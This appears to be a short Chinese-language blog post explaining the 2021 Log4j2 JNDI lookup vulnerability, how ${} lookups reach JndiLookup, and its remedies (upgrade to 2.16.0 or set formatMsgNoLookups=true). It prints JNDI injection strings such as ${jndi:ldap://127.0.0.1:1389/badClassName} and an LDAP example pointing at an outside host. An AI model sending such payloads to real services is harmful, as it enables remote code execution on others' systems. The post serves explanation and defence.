0%
Intro Log4j2 JNDI For CVE
這篇介紹Log4j2 JNDI For CVE。
2021/12/10公告Log4j2漏洞
1 2 3 4 5 6 7 8 9 10 11
| Log4j2的xml configuration均對應至相關的外掛物件。 此次出現重大漏洞問題的是一個不太常用的class:JndiLookup。
這個class雖然很少用到,但每次使用info , warn , error等log 寫入時,皆會去檢查是否執行Lookup的邏輯。
各大資安廠商在釋出漏洞驗證報告時的截圖均是以$Jndi 開啟本地計算器為例,以此表示Jndi存在嚴重的安全隱患。
發現 ${jndi:ldap://127.0.0.1:1389/badClassName} 這段程式碼 會開啟了本機的計算機,驗證此漏洞。
|
JNDI三個概念
1 2 3 4 5 6 7 8 9 10 11 12
| 1、JNDI全名 Java Naming and Directory Interface,是用於目錄 服務的Java API,它允許Java客戶端通過名稱發現查詢資料和資源(以 Java物件的形式)。
2、觸發Lookup外掛的場景是使用:${},如上述的${java:version}, 表示使用JavaLookup外掛,傳入值為version然後返回對應的結果,而 此處的${jndi:ldap://ip:port} 則同理表示呼叫JndiLookup傳入值 為 ldap://ip:port。
3、jndi是目錄介面,所以JndiLookup中則是各種目錄介面的實現集合, 可發現JndiLookup中可直接呼叫的具體實現類有很多,其中就包括 LdapURLContext。
|
結論 & 解決方法
1 2 3 4 5 6 7 8 9 10 11
| 首先jndi本身並不是Log4j2框架的產物,而是Jdk自身的功能,對應的包路徑為com.sun.jndi。
而Log4j2框架中JndiLookup使用到了Jndi的功能,但是對應的傳參則較為隨意, 這就是一個很大的問題,如通過http的方式給傳引數為:${jndi:ldap://davidchenblog.com/service}, 而服務又恰巧把該引數打到了日誌中,這就會導致很大的漏洞,因為誰也無法 保證注入的davidchenblog.com/service返回的物件是什麼,相當於是一個很大 的後門,注入者可以通過此漏洞任意執行所有程式碼。
解決方法: 1. 將Log4j2升級至2.16.0版本。 2. 無法短時間升級時,在現有專案下增加log4j2.formatMsgNoLookups=true。
|